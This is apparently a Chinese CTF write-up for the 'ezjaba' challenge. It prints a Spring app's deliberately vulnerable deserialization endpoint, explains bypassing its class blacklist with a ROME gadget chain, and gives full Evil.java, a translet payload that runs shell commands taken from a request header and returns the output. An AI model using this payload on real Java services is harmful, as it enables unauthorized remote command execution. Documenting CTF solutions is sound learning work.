# 陇原战疫 ezjaba(内存马)

# 源码

给了个 jar 包

@Controller
public class IndexController {
  @ResponseBody
  @RequestMapping({"/"})
  public String index() {
    return "Give you a cup of java, calm down";
  }
  
  @ResponseBody
  @RequestMapping({"/BackDoor"})
  public String BackDoor(@RequestParam(name = "ctf", required = true) String data) throws Exception {
    Object object1 = new Object(this);
    Object object = null;
    byte[] b = Tool.base64Decode(data);
    InputStream inputStream = new ByteArrayInputStream(b);
    BlacklistObjectInputStream ois = new BlacklistObjectInputStream(inputStream, (Set)object1);
    try {
      object = ois.readObject();
    } catch (IOException e) {
      e.printStackTrace();
    } catch (ClassNotFoundException e) {
      e.printStackTrace();
    } finally {
      System.out.println("information:" + object.toString());
    } 
    return "calm down....";
  }
}
public class Tool {
  public static byte[] base64Decode(String base64) {
    Base64.Decoder decoder = Base64.getDecoder();
    return decoder.decode(base64);
  }
  
  public static String base64Encode(byte[] bytes) {
    Base64.Encoder encoder = Base64.getEncoder();
    return encoder.encodeToString(bytes);
  }
}
public class BlacklistObjectInputStream extends ObjectInputStream {
  public Set blacklist;
  
  public BlacklistObjectInputStream(InputStream inputStream, Set bl) throws IOException {
    super(inputStream);
    this.blacklist = bl;
  }
  
  protected Class<?> resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
    if (this.blacklist.contains(cls.getName()))
      throw new InvalidClassException("Unexpected serialized class", cls.getName()); 
    return super.resolveClass(cls);
  }
}
public class MySecurityManager extends SecurityManager {
  public static void setSecurityManager() {
    SecurityManager oldSecurityManager = System.getSecurityManager();
    if (oldSecurityManager == null) {
      Object object = new Object();
      System.setSecurityManager((SecurityManager)object);
    } 
  }
}

# 代码审计

IndexController

image-20220513205432896

直接对参数反序列化,不过这里是自己实现的 BlacklistObjectInputStream

image-20220513205538995

反序列化中有黑名单类中的类就报错

看一下依赖

image-20220513205849419

rome 反序列化

# rome 反序列化

这里的过滤了 HashMapBadAttributeValueExpException , 但是这里的 toString 方法可控

image-20220513211010431

那么这里就相当于调用 ToStringBean.toString 方法了

然后就是 hint 说不出网,内存马注入

这里其实就是获取 requestresponse 进行回显,没有注册 controller 什么的

Evil.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.net.InetAddress;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.*;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil extends AbstractTranslet
{
    static {
        try {
            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
            Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
            Object req = m1.invoke(o); // HttpServletRequest
            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
            getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);
            String cmd = (String) getHeader.invoke(req, "cmd");
            String[] commands = new String[3];
            String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
            commands[2] = cmd;
            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
        }
        catch (Exception e){
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

放到 rome 反序列化里面即可

image-20220516202307584

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝